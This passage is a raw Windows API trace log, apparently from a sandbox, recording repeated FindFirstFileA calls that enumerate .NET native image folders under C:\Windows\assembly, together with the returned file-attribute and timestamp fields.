ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc964e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.643] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac6daaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccbc640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xccbc640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.648] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb17ef850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccbc640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xccbc640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.653] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaddea010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccbc640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xccbc640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.658] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4c1f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcce27a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcce27a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.663] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b6d9200, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xcce27a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcce27a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.669] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb838c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xcce27a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcce27a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.675] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd08900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd08900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.680] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7857350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd08900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd08900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.687] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ba09f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd08900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd08900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.694] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd2ea60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd2ea60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.699] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb60fbb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd2ea60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd2ea60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.713] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb593f3f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd54bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd54bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.719] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6ded310, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcd54bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd54bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.725] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xcd7ad20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd7ad20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.730] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x474f8250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xcd7ad20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcd7ad20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.736] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e7da50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xcda0e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcda0e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.742] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xcda0e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcda0e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.746] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47224830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xcda0e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcda0e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.752] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x466d5fb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xcdc6fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcdc6fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.758] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcdc6fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcdc6fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.763] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa6f2b04, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcdc6fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcdc6fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.768] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37aa5b7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcded140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcded140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.774] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf89c9d4e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcded140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcded140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.782] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf567628f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcded140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcded140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb5d349f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xce132a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce132a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.792] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c584fd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xce132a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce132a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.798] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb1cef78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xce39400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce39400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.804] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xce39400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce39400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.809] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xce39400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce39400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63090340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xce5f560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce5f560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.821] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x631288c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xce5f560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce5f560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.826] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xce5f560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce5f560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.831] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63233260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xce856c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce856c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.836] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65979d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xce856c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce856c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.841] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b8ee50, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xce856c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xce856c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.846] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xceab820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xceab820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.851] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd060a81, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xceab820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xceab820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.861] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xced1980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xced1980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.866] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xced1980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xced1980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.871] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, 